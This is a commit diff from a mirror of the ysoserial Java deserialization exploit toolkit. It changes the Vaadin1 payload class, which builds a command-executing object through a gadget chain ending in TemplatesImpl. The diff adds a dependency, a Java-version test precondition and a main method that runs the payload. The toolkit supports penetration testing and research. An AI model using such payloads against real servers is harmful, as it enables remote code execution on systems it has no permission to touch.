mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
additional dependency added, precondition badattrvalexcobj
This commit is contained in:
@@ -7,10 +7,14 @@ import com.vaadin.data.util.PropertysetItem;
|
||||
|
||||
import ysoserial.payloads.annotation.Authors;
|
||||
import ysoserial.payloads.annotation.Dependencies;
|
||||
import ysoserial.payloads.annotation.PayloadTest;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.payloads.util.JavaVersion;
|
||||
import ysoserial.payloads.util.PayloadRunner;
|
||||
import ysoserial.payloads.util.Reflections;
|
||||
|
||||
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14" })
|
||||
@Dependencies ( { "com.vaadin:vaadin-server:7.7.14", "com.vaadin:vaadin-shared:7.7.14" })
|
||||
@PayloadTest ( precondition = "isApplicableJavaVersion")
|
||||
@Authors({ Authors.KULLRICH })
|
||||
public class Vaadin1 implements ObjectPayload<Object>
|
||||
{
|
||||
@@ -50,9 +54,8 @@ public class Vaadin1 implements ObjectPayload<Object>
|
||||
// | v |
|
||||
// | TemplatesImpl.getOutputProperties() |
|
||||
// | |
|
||||
// | |
|
||||
// | |
|
||||
// +------------------------------------------------+
|
||||
|
||||
@Override
|
||||
public Object getObject (String command) throws Exception
|
||||
{
|
||||
@@ -68,4 +71,12 @@ public class Vaadin1 implements ObjectPayload<Object>
|
||||
return b;
|
||||
}
|
||||
|
||||
public static boolean isApplicableJavaVersion() {
|
||||
return JavaVersion.isBadAttrValExcReadObj();
|
||||
}
|
||||
|
||||
public static void main(final String[] args) throws Exception {
|
||||
PayloadRunner.run(Vaadin1.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user